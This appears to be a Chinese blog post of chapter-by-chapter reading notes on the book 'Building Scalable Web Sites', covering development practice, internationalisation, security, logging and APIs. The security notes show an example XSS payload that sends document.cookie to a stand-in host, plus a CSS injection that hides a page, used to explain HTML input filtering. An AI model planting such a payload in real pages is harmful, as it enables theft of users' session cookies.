`
wdhdmx
  • 浏览: 304126 次
  • 性别: Icon_minigender_1
  • 来自: 山西
博客专栏
D4bbb5f7-9aa4-3e66-8194-f61b3f0241c2
天天编程
浏览量:21951
社区版块
存档分类
最新评论

《构建可扩张的web站点》读书笔记(二)

阅读更多

第零章 读后感

半天看完的,重点还是在第九章,讲安全的一章也很有意义,会让我们在开发中多留心一点。

对于web扩展,也有了一些初步的想法,对web的整体思想也有了更进一步的了解。

个人感觉不错,适合快速阅读。仅仅是个人意见。

第一章 绪论 

1.作者构建的第一个web应用:是一个虚拟生物,玩家在虚拟的世界中跟踪这个生物成长,每天两次通过电子邮件发送给玩家。(这个创意非常不错)

2.Flickr有10W源代码,5W模板代码,1万js代码。

3.快速迭代往往有助于web应用的开发。

4.代码越早工作,就越早解决设计中的问题。由于开发用时少,在需要的时候就更容易放弃他。

第二章 Web应用程序体系结构

1.忘记那些微不足道的调整,不成熟的优化是罪恶之源。

2.这一章主要讲怎么处理硬件的一类问题。

第三章 开发环境

1.三大规则

源码控制、单步创建、跟踪bug

第四章 国际化和本地化

1.对应英语

国际化:i18n

本地化:l10n

2.这一章讲各个软件和工具怎么设置编码。

第五章 数据一致和安全

1.所谓数据完整性策略,就是一套规则和规章,他们关心的是应用程序如何做到存储和输出预期数据。

2.HTML输入过滤

a.js的攻击

<script>
location.href='http://www.xxx.com/?cookies='+document.cookie;
</script>

b.style

<style>
body{display:none !important;}
</style>

c.协议过滤

about:blank
ftp:/sv.com

3.sql注入攻击

第六章 电子邮件

第七章 远程服务

第八章 瓶颈

1.cpu的使用,这个基本从来不会是web应用程序的瓶颈。

第九章 见《构建可扩张的web站点》读书笔记

第十章 统计日志、检测与警告

1.日志分访问日志和错误日志

2.可以关心一些开源的日志分析器,如:analog

3.这一章还讲了各个应用程序、开源工具的状态查看和检测。

第十一章 APIs

讲解数据订阅的问题。现在还不需要知道。

 

 

1
1
分享到:
评论

相关推荐

    web读书笔记

    在“web读书笔记”这个压缩包中,我们可以推测它包含了关于Web开发的个人学习记录和项目代码。"自己项目代码"这一标签暗示了这些文件可能是作者在实践Web开发过程中积累的经验和成果,尤其是以“二哥java”为名的子...

    Web Service学习笔记

    在本学习笔记中,我们将深入探讨Web服务的核心概念、技术栈以及实际案例。 一、Web服务的核心概念 1. **SOAP (Simple Object Access Protocol)**:SOAP是一种基于XML的协议,用于交换结构化信息,是Web服务的基础...

    Web安全学习笔记-Web-Sec Documentation

    Web安全学习笔记——Web-Sec Documentation是一份详细的知识库,旨在帮助读者理解并掌握Web安全相关的理论和技术。文档首先从Web技术的演化、网络攻防技术的发展以及网络安全观的演变三个方面进行阐述,让读者对Web...

    web安全学习笔记.pdf

    "Web 安全学习笔记" Web 安全学习笔记是关于网络安全的综合性学习笔记,涵盖了 Web 安全的基础知识、常见威胁、防御策略等方面的内容。下面将详细介绍该笔记中所涉及的知识点: 一、Web 安全基础 * Web 安全定义...

    WEB 笔记笔记

    web 开发笔记 超媒体是超文本(hypertext)和多媒体在信息浏览环境下的结合。它是超级媒体的简称。用户不仅能从一个文本跳到另一个文本,而且可以激活一段声音,显示一个图形,甚至可以播放一段动画[2]。 Internet...

    如何构建高可用系统-读书笔记

    如何构建高可用系统-读书笔记

    web学习笔记

    web学习笔记,web学习笔记,web学习笔记,web学习笔记,web学习笔记,web学习笔记

    读书笔记:基于netty构建的web微服务应用框架最佳实践.zip

    读书笔记:基于netty构建的web微服务应用框架最佳实践

    WEB前端技术笔记整理

    **WEB前端技术笔记整理** 前端开发是构建网页或应用程序用户界面的关键部分,它涉及与用户的交互和页面动态呈现。在本笔记中,我们将深入探讨HTML、JavaScript(JS)、jQuery(JQ)、CSS以及HTML5这五种核心技术,...

    学生读书笔记共享-学生读书笔记共享系统-学生读书笔记共享系统源码-学生读书笔记共享管理系统-学生读书笔记共享管理系统java代码

    学生读书笔记共享系统-学生读书笔记共享系统源码-学生读书笔记共享管理系统-学生读书笔记共享管理系统java代码-学生读书笔记共享系统设计与实现-基于springboot的学生读书笔记共享系统-基于Web的学生读书笔记共享...

    超详细的web前端基础学习笔记

    #### 超详细的web前端基础学习笔记 ##### 前端课程介绍 - **HTML**:HTML (HyperText Markup Language) 是一种标记语言,用于定义网页的结构与内容。它如同网页的骨架,为网页提供基本框架。 - **CSS**:CSS ...

    web信息架构读书笔记

    Web 信息架构读书笔记 Web 信息架构是指对网站或应用程序的组织和设计,以便提供更好的用户体验。读书笔记中总结了 Web 信息架构的重要概念和设计原则。 必要的房间 在 Web 信息架构中,需要提供一个特殊的场所,...

    web笔记留着用

    【标题】"Web笔记留着用"是一份涵盖了Web开发领域的知识积累,主要聚焦于JavaScript这一编程语言。作为互联网上最广泛使用的脚本语言,JavaScript是构建动态、交互式网页的关键工具,它允许开发者在用户与网站之间...

    学生读书笔记共享系统-学生读书笔记共享系统源码-基于springboot的学生读书笔记共享系统-学生读书笔记共享管理系统java

    学生读书笔记共享系统-学生读书笔记共享系统源码-学生读书笔记共享管理系统-学生读书笔记共享管理系统java代码-学生读书笔记共享系统设计与实现-基于springboot的学生读书笔记共享系统-基于Web的学生读书笔记共享...

    读书笔记:《深入理解Spring Cloud与微服务构建》阅读笔记.zip

    读书笔记:《深入理解Spring Cloud与微服务构建》阅读笔记

    WebAPIs基础笔记

    WebAPIs笔记

Global site tag (gtag.js) - Google Analytics